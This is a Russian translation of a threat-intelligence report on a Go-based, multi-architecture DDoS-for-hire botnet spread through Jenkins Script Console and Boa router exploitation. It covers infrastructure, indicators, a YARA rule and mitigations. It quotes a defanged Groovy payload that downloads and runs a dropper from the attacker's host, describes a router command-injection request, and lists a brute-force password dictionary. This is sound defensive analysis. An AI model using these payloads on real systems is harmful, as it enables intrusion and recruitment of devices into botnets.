Эта страница является переводом. Авторитетным считается текст английской версии. Читать на английском

malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai

Кроссплатформенный DDoS-ботнет на Go, сдаваемый в аренду

Kinryū Labs проанализировала bot.exe, сборку под Windows DDoS-ботнета, скомпилированного на Go и распространяемого в виде комплекта дропперов из 11 бинарных файлов под 13 архитектур, доставка которого велась в ходе многодневной кампании эксплуатации Jenkins Script Console. Разведка хоста стейджинга выявила действующий API сервиса DDoS по найму с аутентификацией, командный канал SSH на Go и размещённое на том же хосте семейство линии Mirai. Мы с высокой уверенностью оцениваем это как коммерческую операцию по предоставлению DDoS-атак по найму.

Автор Davis Zheng·

TLP:CLEAR. Разрешено к публичному распространению. Получено сенсорной сетью honeypot Kinryū Labs. Индикаторы ниже приведены в обезвреженном виде.

Резюме

  • 13сборок под архитектуры, 11 уникальных бинарных файлов
  • 5именованных методов DDoS плюс API для заказа атак
  • 3скоординированных IP-адреса источника в одной /22
  • 2семейства ботнетов на одном хосте

bot.exe представляет собой сборку под Windows x86-64 DDoS-ботнета, скомпилированного на Go и распространяемого в виде мультиархитектурного комплекта дропперов. Сопутствующий шелл-скрипт bins.sh загружает тринадцать архитектурных сборок, одиннадцать из которых уникальны после дедупликации, охватывающих 32- и 64-разрядные x86, четыре профиля ARM, ARM64, Android ARM64, а также MIPS с прямым и обратным порядком байтов, наряду с бинарным файлом под Windows. Комплект попал в сеть honeypot в результате эксплуатации открытого сервера Jenkins.

Вредоносное ПО содержит пять именованных методов флуда (HTTP, TLS-рукопожатие, ICMP, прямой TLS и объёмный метод с меткой VOULT), HTTP-флуд, который ротирует браузерные строки User-Agent и заголовки локали, чтобы походить на легитимный трафик, а также полезные нагрузки для внедрения команд, нацеленные на веб-сервер Boa на устройствах RealTek SDK, ради самораспространения. Разведка хоста стейджинга по адресу 185.226.93[.]242 выявила API сервиса DDoS по найму с аутентификацией на порту 3333, реализованную на Go службу SSH на порту 2222, выполняющую роль командного канала, и анонимную службу FTP, на которой размещено второе семейство ботнета линии Mirai/Gafgyt.

Kinryū Labs с высокой уверенностью оценивает, что bot.exe входит в состав вредоносного самораспространяющегося мультиархитектурного DDoS-ботнета, эксплуатируемого как коммерческий сервис по найму. Оценку подкрепляют три наблюдения: собственные строки бинарного файла, относящиеся к методам атаки и эксплуатации; действующий API для заказа атак на хосте стейджинга оператора, который проверяет параметры задания и требует аутентификации; телеметрия honeypot, фиксирующая продолжительную кампанию с скоординированных адресов источника, доставляющих комплект.

Ключевые выводы
  • bot.exe является кроссплатформенным DDoS-ботнетом на Go. Пять различных строк журнала, соответствующих методам флуда, содержат параметры цели и длительности, наряду с механизмом имитации браузера и поддержкой SOCKS5, причём всё это находится в необфусцированных строках и подтверждается действующим API.
  • Операция ведётся как коммерческий сервис DDoS по найму. Хост стейджинга публикует на порту 3333 API, который проверяет параметры задания (user, psw, host, method, time, port) и отклоняет неверные учётные данные.
  • Ботнет самораспространяется через внедрение команд на устройствах IoT. Бинарный файл несёт полезную нагрузку внедрения команд в обработчик Boa formSysCmd, ветку перебора учётных данных к панели маршрутизатора и экспортируемые функции loginDevice и loginDeviceCaptcha, внедряя ту же однострочную команду дроппера, что зафиксирована в журналах honeypot.
  • Три IP-адреса источника принадлежат одному оператору. Три адреса в 185.226.92[.]0/22 доставляли идентичные полезные нагрузки со согласованным таймингом и общим списком учётных данных, а IP-адреса доставки и стейджинга предъявляют идентичные хост-ключи SSH, что указывает на один хост или клонированные образы.

Доставка: продолжительная кампания через Jenkins Script Console

Комплект доставлялся путём эксплуатации экземпляра Jenkins, доступного из интернета. Телеметрия honeypot зафиксировала неизменную двухшаговую схему: запрос GET /crumbIssuer/api/json для получения CSRF-токена, за которым следовал POST /script с полезной нагрузкой Groovy для Script Console. Полезная нагрузка была идентична во всех попытках и приведена здесь в обезвреженном виде:

println new ProcessBuilder('sh','-c',
  'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
   curl -O hxxp://185.226.93[.]242:1001/bins.sh;
   chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text

Запросы содержали заголовок Authorization: Basic, перебиравший короткий словарь слабых числовых паролей для учётной записи admin (admin:1123, admin:123451, admin:1231231, admin:1111111, admin:12345123), что характерно для автоматизированного списка учётных данных, а не для целенаправленной аутентификации.

Кампания продолжалась несколько дней и шла повторяющимися волнами:

  • Волна 1Первые пробы: проверка CSRF-crumb, затем Groovy RCE, с IP-адреса стейджинга и второго адреса из того же блока.
  • Перехватbins.sh и все тринадцать вариантов были получены дважды с интервалом примерно в четырнадцать часов, каждый раз побайтово идентичными.
  • Последующие волныПараллельная эксплуатация со всех трёх IP-адресов источника с разницей в считаные минуты, с ротацией User-Agent.

В запросах эксплуатации ротировался обширный набор правдоподобных браузерных User-Agent, тогда как разведывательное сканирование в поиске новых целей Jenkins (обращение к /login, за которым следовала быстрая серия запросов /script) использовало значение по умолчанию Go-http-client/1.1. Подделанные User-Agent сопровождают полезные нагрузки эксплуатации; сканер работает через штатный Go-клиент ботнета. Сам хост стейджинга и C2 участвовал в эксплуатации, то есть атакующая и хостинговая инфраструктура не разделены.

Вредоносное ПО: одна кодовая база на Go, одиннадцать бинарных файлов

Реализация бота на Go позволяет кросс-компилировать одну кодовую базу под любую платформу, нужную оператору. Дроппер проходит по всей линейке, загружая каждую сборку через wget, затем повторно через curl в качестве запасного варианта, выставляя бит исполнения, запуская и удаляя её. В комплект входит Windows-файл .exe, который Linux-дроппер тем не менее прогоняет через chmod +x, а сгенерированная структура скрипта указывает на конвейер сборки и перечисления. После дедупликации тринадцать сборок сводятся к одиннадцати уникальным бинарным файлам: сборки x86 и i386 совпадают, равно как и обобщённая ARM и ARMv7. Разброс архитектур, от MIPS и устаревших ARM до Android, характерен для ботнета, ориентированного на маршрутизаторы, камеры и прочие встраиваемые устройства; сборка под Windows переносит тот же код на настольные системы и серверы.

Бинарный файл не упакован (энтропия секций PE лежит в диапазоне от 5.4 до 6.3) и не лишён символов (Go build ID и символы среды выполнения не повреждены), поэтому его возможности видны прямо в строках. Отметка времени компиляции обнулена, что нормально для сборок Go.

В строках журнала бинарного файла названы пять методов флуда, каждый из которых форматируется с указанием цели и длительности: флуд «HTTP (Optimized)», флуд на истощение через рукопожатие TLS/TCP «Handshake», ICMP-флуд «PING», прямой сессионный флуд «TLS+» и метод «VOULT», объёмный и, вероятно, основанный на UDP. Присутствуют варианты как прикладного, так и сетевого уровня.

HTTP-флуд построен так, чтобы сходить за легитимный трафик. Он ротирует более десяти браузерных строк User-Agent для Chrome, Edge, Opera, Firefox и Safari на Windows, macOS, iPad и Android; пятнадцать локалей Accept-Language; а также заголовки отпечатка sec-fetch-* и sec-ch-ua-*, которые проверяют сервисы фильтрации. Он устанавливает Referer из небольшого набора сайтов с высокой репутацией (google.com, reddit.com, facebook.com, bing.com, twitter.com и fbi.gov). Одна запись в наборе User-Agent представляет собой буквальную строку Hello World, заглушку разработчика, которая даёт чистую сигнатуру обнаружения, поскольку ни один легитимный клиент её не отправляет.

Распространение нацелено на веб-сервер Boa, небольшой встраиваемый HTTP-демон, до сих пор поставляемый на многих маршрутизаторах и камерах на базе RealTek SDK. Бинарный файл несёт полезную нагрузку внедрения команд в обработчик Boa formSysCmd и ветку перебора учётных данных к административным интерфейсам маршрутизаторов, с полями учётных данных в формате JSON и экспортируемыми функциями loginDevice и loginDeviceCaptcha. Внедряемая команда представляет собой однострочник дроппера, поэтому скомпрометированное устройство становится точкой доставки для следующего.

Встроенные модули Go относятся исключительно к стандартным пакетам golang.org/x, сторонний фреймворк C2 не подключён. Среди них chacha20poly1305, http2/hpack, dns/dnsmessage и http/httpproxy, что соответствует наблюдаемым возможностям: канал с аутентифицированным шифрованием, HTTP/2, работа с DNS на низком уровне и проксирование SOCKS5 (присутствуют строки socks5, socks connect и socksUsernamePassword). Конфигурация C2 загружается во время выполнения по адресу hxxp://<C2>/config.dat; единственный жёстко прописанный в бинарном файле адрес указывает на хост стейджинга.

Инфраструктура управления и стейджинга

Разведка хоста стейджинга выявила следующие службы:

ПортСлужбаНазначение
21/tcpvsftpd 3.0.3, разрешён анонимный входРазмещение вредоносного ПО (второе семейство, см. ниже)
22/tcpOpenSSH 9.2p1 (Debian)Доступ оператора
1001/tcpСервер Go net/httpОсновной стейджинг: раздаёт bins.sh и варианты сборок
2222/tcpSSH на Go (SSH-2.0-Go)Командный канал ботов
3333/tcpСервер Go net/httpAPI сервиса DDoS по найму

Оценку о сервисе по найму подкрепляют два наблюдения. IP-адрес доставки и хост стейджинга предъявляют идентичные хост-ключи SSH ED25519, RSA и ECDSA, что помещает их на одну машину либо на образы, клонированные с одного шаблона, а служба SSH на Go на порту 2222 предъявляет ключ, отличный от системного OpenSSH на порту 22, что указывает на отдельное приложение, а не на проброс. API на порту 3333 отклоняет запрос из-за отсутствующих параметров (user, psw, host, method, time/duration, port) и возвращает ошибку аутентификации для тестовых учётных данных, при этом все прочие пути отдают 404. Это минималистичный интерфейс коммерческого бутера с аутентификацией на каждый запрос, работающий на действующей инфраструктуре.

Второе семейство на том же хосте

Анонимная служба FTP размещает отдельное семейство ботнета, здесь называемое «boatnet» по именам его файлов. Его дроппер (ohshit1.sh) использует клиент BusyBox ftpget, переименовывает каждый бинарный файл в WTF перед запуском и запускает сборки в фоне под пятнадцать архитектур, включая экзотические встраиваемые цели (ARC, m68k, SH4, SPARC), характерные для линии Mirai/Gafgyt. Бинарные файлы скомпилированы из C в формате ELF, лишены символов и упакованы (энтропия от 7.6 до 7.9 без сигнатуры UPX, что указывает на самописный упаковщик), поэтому статический анализ даёт немного. Артефакты boatnet появились раньше комплекта bot.exe и работают на несвязанной кодовой базе, то есть один хост обслуживает два различных семейства ботнетов.

Хостинг

Оба IP-адреса атакующего входят в 185.226.92[.]0/22, зарегистрированную через RIPE NCC за VPS-провайдером из Турции (имя сети BIGCORE-US, AS205196 / AS57152), с контактом для жалоб abuse@bigcore.net. Мы указываем хостинг-провайдера для целей информирования и не делаем никаких утверждений о личности оператора.

Индикаторы компрометации

Инфраструктура атакующего приведена в обезвреженном виде. Хеши образцов и строки для обнаружения намеренно содержат действующие значения.

Сетевые

ИндикаторКонтекст
185.226.93[.]242Хост стейджинга и C2; также активный сканер
185.226.92[.]110Основной сканер / узел доставки
185.226.92[.]173Вспомогательный сканер
185.226.92[.]0/22Выделенный блок хостинга (BIGCORE, AS205196). Обоснованная блокировка на периметре
185.226.93[.]242:1001HTTP-стейджинг (bins.sh и варианты сборок)
185.226.93[.]242:2222Командный канал SSH на Go
185.226.93[.]242:3333API сервиса DDoS по найму (/api, с проверкой параметров)
185.226.93[.]242:21Анонимный FTP, размещение boatnet
hxxp://<C2>/config.datШаблон загрузки конфигурации C2 во время выполнения
/boafrm/formSysCmd, /boafrm/formLoginURI для RCE и перебора входа на Boa в исходящем распространении
Хост-ключ SSH (ED25519) …INAjVN5fIlxTHxT4R3yqTS8…Общий для IP-адресов доставки и C2; индикатор для pivot-анализа

Файлы

ФайлSHA-256
bot.exe (Windows x64)4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804
bins.sh (дроппер)15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6
boatnet.0eem0a9ali (i386)6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b
boatnet.0t25ax67hl (x86-64)920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d
  • bot.exe MD5 / SHA-1 / imphash: 88efcb919000efb700a814fc23e31e3f / 6817eae057adf831892995f514fca36c489fdd10 / 211e227000a1da3333aab2bad5282318
  • Go Build ID: euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
Хеши полного комплекта дропперов (11 уникальных на 13 сборок)
СборкаSHA-256Размер (байт)
amd643261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b705,919,119
x86 / i386575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc3985,787,832
arm / armv7l9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb105,898,424
arm5365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea5825,898,424
arm634186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f5,898,424
arm64ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b5,579,151
android_arm647d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf6,169,144
mips9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f56,619,351
mipsle14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde76,619,351
bot.exe4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e38046,020,608

Артефакты на хосте и учётные данные

  • Словарь перебора для Jenkins admin: 1123, 123451, 1231231, 1111111, 12345123.
  • ohshit1.sh (дроппер boatnet) и бинарный файл, переименованный в WTF перед запуском.
  • Характерные User-Agent: Hello World (HTTP-флуд бота) и Go-http-client/1.1 (самосканирование бота).

Поведенческие

  • Запрос Jenkins GET /crumbIssuer/api/json, за которым следует POST /script с полезной нагрузкой Groovy ProcessBuilder('sh','-c', …), загружающей bins.sh.
  • Исходящие запросы к хосту по пути /config.dat, которым предшествует строка журнала Connecting to CNC....
  • Входящий POST /boafrm/formSysCmd с sysCmdselect=5 и телом вида wget … bins.sh.

Обнаружение

Строки стабильны и не обфусцированы, поэтому сигнатуры составляются просто. Приведённое ниже правило YARA является кандидатом, построенным на проверенных строках; протестируйте его перед развёртыванием.

rule go_ddos_bot_multiarch_candidate
{
    meta:
        description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "4de4621f...e3804"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $cnc  = "Connecting to CNC..." ascii
        $cfg  = "/config.dat" ascii
        $atk1 = "HTTP (Optimized) Attack started" ascii
        $atk2 = "VOULT attack" ascii
        $atk3 = "Handshake Attack started" ascii
        $boa  = "/boafrm/formSysCmd" ascii
        $iot  = "loginDeviceCaptcha" ascii
        $drop = "bins.sh" ascii

    condition:
        ($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}

Сетевое обнаружение:

  • Jenkins: оповещение на тела запросов POST /script, содержащие ProcessBuilder с wget/curl к «голому» IP-адресу, особенно если им предшествует GET /crumbIssuer/api/json.
  • Распространение по IoT: content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";.
  • Инфраструктура: заблокировать 185.226.92[.]0/22, куда входят адреса доставки и C2, и оповещать об исходящих соединениях к портам 1001, 2222 и 3333 в этом диапазоне.

Меры реагирования

  • Не выставляйте Jenkins в интернет. Разместите его за аутентификацией и сетевой изоляцией, отключите Script Console для неадминистраторов и рассматривайте доступный извне сервер сборки как риск полной компрометации хоста. Именно это стало вектором доставки.
  • Обеспечьте стойкие учётные данные Jenkins и ограничение частоты попыток аутентификации. Кампания опиралась на короткий словарь слабых числовых паролей для admin.
  • Сегментируйте или замените маршрутизаторы и устройства IoT на базе RealTek/Boa и заблокируйте внешний доступ к их административным интерфейсам. Они являются целью распространения ботнета.
  • Заблокируйте блок хостинга (185.226.92[.]0/22) на периметре и настройте оповещения на URI Boa RCE и на шаблон загрузки config.dat.
  • Фильтруйте исходящий трафик. Хост, обращающийся к «голому» IP-адресу на порту 1001 за файлами с именами архитектур либо подключающийся к портам 2222 или 3333 в этом диапазоне, ведёт себя аномально и поддаётся выявлению там, где обнаружение на уровне хоста отсутствует.
  • Сообщите об инфраструктуре. Об API сервиса DDoS по найму и о вредоносном ПО, размещённом на FTP, можно сообщить по контакту для жалоб хостинг-провайдера (abuse@bigcore.net).

Сопоставление с MITRE ATT&CK

ТактикаТехника
Первоначальный доступT1190 Эксплуатация общедоступного приложения (Jenkins Script Console; Boa formSysCmd для распространения)
Доступ к учётным даннымT1110.001 Подбор пароля (Jenkins admin); T1110.004 Подстановка учётных данных (вход на устройства IoT)
ВыполнениеT1059 Интерпретаторы команд и сценариев (Groovy через Script Console; шелл-дроппер для Unix)
РазведкаT1046 Сканирование сетевых служб (самосканирование Jenkins/IoT); T1082 Сбор сведений о системе; T1057 Перечисление процессов
Обход защитыT1036 Маскировка (ротация браузерных User-Agent; переименование в WTF у boatnet)
Управление и контрольT1071.001 Веб-протоколы (config.dat); T1573 Шифрованный канал (ChaCha20-Poly1305; SSH на Go на порту 2222); T1571 Нестандартный порт (1001/2222/3333); T1090.001 Внутренний прокси: SOCKS
Горизонтальное перемещение / ДоставкаT1105 Загрузка инструментов на узел (мультиархитектурный стейджинг)
ВоздействиеT1498.001 Прямой сетевой флуд (PING, VOULT); T1498.002 Отражение с усилением (истощение через рукопожатие)

Методология и примечания

  • Область работ: статический анализ перехваченных бинарных файлов, которые не запускались, и активная внешняя разведка хоста стейджинга (перечисление служб и баннеров, получение листинга анонимного FTP и неаутентифицированное зондирование API на порту 3333). Аутентификация не обходилась.
  • Правило YARA является кандидатом, построенным на проверенных строках; протестируйте его перед развёртыванием. Бинарные файлы boatnet упакованы и дали мало строк.
  • Образцы (комплект bot.exe, дроппер и артефакты boatnet) доступны другим исследователям и специалистам по защите по запросу. Напишите на contact@kinryu.sh, коротко указав, кто вы и для чего они вам нужны.
Sample
Go DDoS botnet · 6da756970a411dad…
How to cite
Kinryū Labs (2026). Кроссплатформенный DDoS-ботнет на Go, сдаваемый в аренду. https://kinryu.sh/ru/reports/go-ddos-botnet-for-hire/